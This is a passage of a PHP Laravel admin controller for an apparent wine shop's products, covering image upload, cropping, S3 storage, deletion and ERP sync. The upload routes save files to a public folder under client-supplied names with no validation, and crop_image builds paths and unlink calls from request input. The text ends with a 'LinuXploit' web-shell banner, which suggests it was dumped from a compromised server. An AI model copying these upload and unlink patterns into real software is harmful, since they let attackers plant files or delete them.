				$lancamentosCount += count($lancamentos);

				$data['inseridos'] = $lancamentosCount;
				$data['falhas']    = $continued;
				@unlink($tmpFileName);

			}

		}

		$data['empresas'] = GeralService::buscarEmpresasIntegracao();
		$data['unidades'] = UnidadeNegocio::orderBy('id','ASC')->get();

		return view('Produto::admin/importacao-produto-erp', $data);

	}



	public function upload_image(Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file        = $request->file('file');
			$tmpFilePath = '/uploads/produto/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file        = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path        = $tmpFilePath . $tmpFileName;

			return response()->json(array('path'=> $path, 'file_name'=> $tmpFileName), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	 public function upload_galeria($id, Request $request) {
            if($request->hasFile('file')) {
                    //upload an image to the /img/tmp directory and return the filepath.
                    $file = $request->file('file');
                    $tmpFilePath = '/uploads/produto/';
                    $tmpFileName = time() . '-' . $file->getClientOriginalName();
                    $file = $file->move(public_path() . $tmpFilePath, $tmpFileName);
                    $path = $tmpFilePath . $tmpFileName;


                    $info = pathinfo($tmpFilePath.$tmpFileName);
                    $ext = $info['extension'];

                    $imageMerged = GeralService::mergeImages($path, $ext);
                    $nome = 'quadrado-'.$tmpFileName;
                    $pathToMergedImage = "uploads/produto/".$nome;
                    imagepng($imageMerged,$pathToMergedImage);

                    $s3 = \Storage::disk('s3');
                    $filePath = '/images/produtos/' . $nome;
                    $s3->put($filePath, file_get_contents(public_path() . $tmpFilePath . '/' . $nome), 'public');
                    //$s3->put($filePath, file_get_contents('https://s3-sa-east-1.amazonaws.com/vinumdays3/images/VD_A01_P277/VD_A01_P277_0.png'), 'public');
                    $urlMiniatura = config('filesystems.disks.s3.url').$filePath;

                    $filePathPrincipal = '/images/produtos/' . $tmpFileName;
                    $s3->put($filePathPrincipal, file_get_contents(public_path() . $tmpFilePath . '/' . $tmpFileName), 'public');
                    $urlThumb = config('filesystems.disks.s3.url').$filePathPrincipal;

                    @unlink($file);

                    $this->produto_m->criar_imagem(array('id_produto' => $id, 'miniatura' => $urlMiniatura,'thumbnail_principal' => $urlThumb));

                    return response()->json(array('path'=> $path, 'file_name'=>$nome), 200);
            } else {
                    return response()->json(false, 200);
            }
    }




	public function crop_image(Request $request) {
		$img = \Image::make('uploads/produto/'.$request->input('file_name'));
		$dataCrop = json_decode($request->input('data_crop'));
		if($img->crop(intval($dataCrop->width), intval($dataCrop->height), intval($dataCrop->x), intval($dataCrop->y))->save('uploads/produto/thumb_'.$request->input('file_name'))){

			$tmpFilePath = '/uploads/produto';

			$s3       = \Storage::disk('s3');
			$filePath = '/images/produtos/' . 'thumb_'.$request->input('file_name');
			$s3->put($filePath, file_get_contents(public_path() . $tmpFilePath . '/thumb_'.$request->input('file_name')), 'public');
			//$s3->put($filePath, file_get_contents('https://s3-sa-east-1.amazonaws.com/vinumdays3/images/VD_A01_P277/VD_A01_P277_0.png'), 'public');
			$url = config('filesystems.disks.s3.url').$filePath;

			@unlink('uploads/produto/'.$request->input('file_name'));
			@unlink('uploads/produto/'.'thumb_'.$request->input('file_name'));

			echo json_encode(array(
				'status' => true,
				'path' => $url,
				'file_name' => $url,
			));
		}else{
			echo json_encode(array(
				'status' => false,
				'message' => 'Não foi possível alterar a imagem.'
			));
		}

	}

	public function delete($slug){

		$produto = Produto::where('slug', $slug)->first();
		$pedidos = PedidoVendaHasProduto::where('id_produto', $produto->id)->get();

		if(count($pedidos) == 0){
			DB::table('estoque_log')
			->where('produto_id', $produto->id)
			->delete();
			
			$this->produto_m->deletar($produto->id);
			$type    = 'success';
			$message = 'Registro removido com sucesso';
		}else{
			$type    = 'danger';
			$message = 'Produto já utilizado em Pedidos!';
		}

		\Session::flash('type', $type);
      	\Session::flash('message', $message);

		return redirect('admin/produto');
	}

	public function delete_imagem($id){
		try{
			$imagem = $this->produto_m->getImagem($id);
			$this->produto_m->deletar_imagem($id);

			// unlink('uploads/produto/'.$imagem->thumbnail_principal);
			GeralService::deleteFileImages($imagem->thumbnail_principal, 'produto');

			return response()->json(array('status' => true, 'message' => 'Registro removido com sucesso!'));
		}catch(Exception $e){
			return response()->json(array('status' => false, 'message' => $e->getMessage()));
		}


	}

	private function slugify($string)
    {
        return strtolower(trim(preg_replace('~[^0-9a-z]+~i', '-', html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);~i', '$1', htmlentities($string, ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8')), '-'));
    }


    public function buscar(Request $request){

		$post = $request->input();

		$query = Produto::where('situacao', 'A');

		if($request->input('term')){
			$query = $query->where('nome', 'like', '%'.$post['term']['term'].'%');
		}

		if($request->input('produto_id')){
			$query = $query->where('id', $request->input('produto_id'));
		}

		if($request->input('origem') && $request->input('origem') == 'oferta'){
			$query = $query->where('indisponibilizar_ofertas', '<>', 1);
		}

		$listaProdutos = $query->get();

		return response()->json(array('items' => $listaProdutos));
	}


	public function passouAqui(){
		$data = [];

		$data['tiposProduto'] = TipoDeProduto::orderBy('nome', 'ASC')->get();

		$data['produtos'] = Produto::orderBy('nome', 'ASC')->where('situacao', 'A')->get();

		//$data['ofertas'] = Oferta::orderBy('titulo', 'ASC')->orderBy('sub_titulo', 'ASC')->get();

		$resultProdutos = GeralService::buscarHtmlProdutosPassouAquiAdmin();

		if($resultProdutos['status']){
			$data['htmlProdutos'] = $resultProdutos['html'];
		}else{
			$data['htmlProdutos'] = '';
		}


		$resultTipos = GeralService::buscarHtmlTiposProdutoPassouAquiAdmin();

		if($resultTipos['status']){
			$data['htmlTiposProduto'] = $resultTipos['html'];
		}else{
			$data['htmlTiposProduto'] = '';
		}

		return view('Produto::admin/passou-aqui',$data);
	}

	public function changeTipoProdutoPassouAqui(Request $request){

		$post = $request->input();

		$tipoProduto = TipoDeProduto::find($post['id_tipo_produto']);

		$tipoProduto->destaque = $post['destaque'];

		$tipoProduto->save();

		return response()->json(GeralService::buscarHtmlTiposProdutoPassouAquiAdmin());
	}

	public function changeProdutoPassouAqui(Request $request){

		$post = $request->input();

		$produto = Produto::find($post['id_produto']);

		$produto->destaque = $post['destaque'];

		$produto->save();

		return response()->json(GeralService::buscarHtmlProdutosPassouAquiAdmin());
	}

	public function buscarAtributos(Request $request){

		$post = $request->input();

		$query = Atributo::select('descricao');

		if($request->input('descricao')){
			$query->where('descricao', 'like', '%'.$request->input('descricao').'%');
		}

		$atributos = $query->where('tipo', $post['tipo'])->orderBy('descricao', 'ASC')->get();

		$returnArray = [];
		foreach ($atributos as $atributo) {
			if(!isset($atributo->descricao)){
				continue;
			}
			$returnArray[] = [
				'id' => $atributo->descricao,
				'text' => $atributo->descricao,
			];
		}

		return response()->json(['items' => $returnArray]);
	}

	private function buscarAtributo($descricao, $tipo){
		return Atributo::where('descricao', $descricao)->where('tipo', $tipo)->count();
	}

	public function buscarFornecedor($id){
		try {

			$fornecedor = Fornecedor::find($id);

			if(!$fornecedor)
				return response()->json(['status' => false, 'message' => 'Erro ao Carregar Fornecedor!']);

			return response()->json(['status' => true, 'fornecedor' => $fornecedor, 'sigla' => isset($fornecedor->estado) ? $fornecedor->estado->sigla : '']);

		} catch (Exception $e) {
			return response()->json(['status' => false, 'message' => 'Erro durante carregamento Fornecedor!']);
		}
	}

	public function buscarPerfil($id){
		try {

			$perfil = PerfilHarmonizacao::find($id);

			if(!$perfil)
				return response()->json(['status' => false, 'message' => 'Erro ao Carregar Perfil!']);

			if(!isset($perfil->caracteristicas))
				return response()->json(['status' => false, 'message' => 'Caracteristicas não cadastradas para este Perfil!']);

			return response()->json(['status' => true, 'perfil' => $perfil, 'caracteristicas' => $perfil->caracteristicas]);

		} catch (Exception $e) {
			return response()->json(['status' => false, 'message' => 'Erro durante carregamento Perfil!']);
		}
	}

	private function salvarFornecedor($nome){
		$Fornecedor = new Fornecedor();
		$Fornecedor->nome = $nome;
		$Fornecedor->save();
		return $Fornecedor;
	}

	private function salvarProdutor($nome){
		$Produtor = new Produtor();
		$Produtor->nome = $nome;
		$Produtor->save();
		return $Produtor;
	}

	private function salvarAtributo($descricao, $tipo){
		$atributo = new Atributo();
		$atributo->descricao = $descricao;
		$atributo->tipo = $tipo;
		$atributo->save();

		return $atributo;
	}

	public function getTinyConflito($id_produto){

		$Produto         = $this->produto_m->find($id_produto);
		$data            = [];
		$data['produto'] = $Produto;
		$data['empresa'] = $_GET['empresa'];

		$ProdutoErp = ProdutoErp::where('produto_id', $id_produto)->where('empresa_id', $_GET['empresa'])->first();

		$registros         = json_decode($ProdutoErp['log_tiny']);
		$data['registros'] = [];
		$data['log_error'] = '';
		if(isset($registros->retorno->produtos)){
			$data['registros'] = $registros->retorno->produtos;	
		}else{
			$data['log_error'] = $ProdutoErp['log_tiny'];
		}

		return view('Produto::admin/sync-tiny-conflict', $data);
	}

	public function sincronizarTinyProduto(Request $request){

		$idTiny    = (int) $request->input('id_tiny');
		$idProduto = $request->input('id_produto');
		$idEmpresa = $request->input('id_empresa');
		$action    = $request->input('action');

		$sync = ErpService::sincronizarProduto($idProduto, $action, $idEmpresa, $idTiny);

		return response()->json(['status'  => $sync->status, 'message' => $sync->message]);
		
	}

	public function sincronizarTiny(Request $request){

		$ids            = $request->input('ids_produto');
		$produtosPorVez = 20;
		$empresas       = Empresa::all();
		$status         = true;
		$message  		= "Registros sincronizados com sucesso!";

        foreach ($empresas as $empresa) {
            $query         = ProdutoErp::whereRaw("(id_tiny IS NULL OR id_tiny = '') AND (log_tiny IS NULL OR log_tiny = '')");
            $query         = $query->whereIn('produto_id', $ids)->where('empresa_id', '=', $empresa->id);
            $query         = $query->whereRaw('EXISTS (SELECT 1 FROM produto WHERE produto.id = produto_erp.produto_id AND produto.sincronizar_tiny = 1)');
            $listaProdutos = $query->limit($produtosPorVez)->get();
            if(count($listaProdutos) > 0){
            	$sync = ErpService::sincronizarProdutos($listaProdutos, $empresa->id);
            	if($sync->status == false){
					$status  = $sync->status;
					$message = $sync->message;
            	}
            }
        }

    	return response()->json(['status'  => $status, 'message' => $message]);

	}

	public function verificarProdutosSemelhantes(Request $request){
		$data['produtos'] = Produto::where('produto.nome', 'like', '%'.$request->input('keyword').'%')->get();

		if(count($data['produtos']))
			return response()->json(['status'  => true, 'html' => view('Produto::admin/produtos-semelhantes-lista', $data)->render()]);
		else
			return response()->json(['status'  => false, 'html' => '']);
	}

	public function salvarTextoApresentacao(Request $request){
		$post['texto'] = $request->input('texto');
		$post['produto_id'] = $request->input('produto_id');

		DB::table('produto')
		->where('id', $post['produto_id'])
		->update([
			'apresentacao_vinumday' => $post['texto'],
		]);

		return response()->json(['status'  => true]);
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit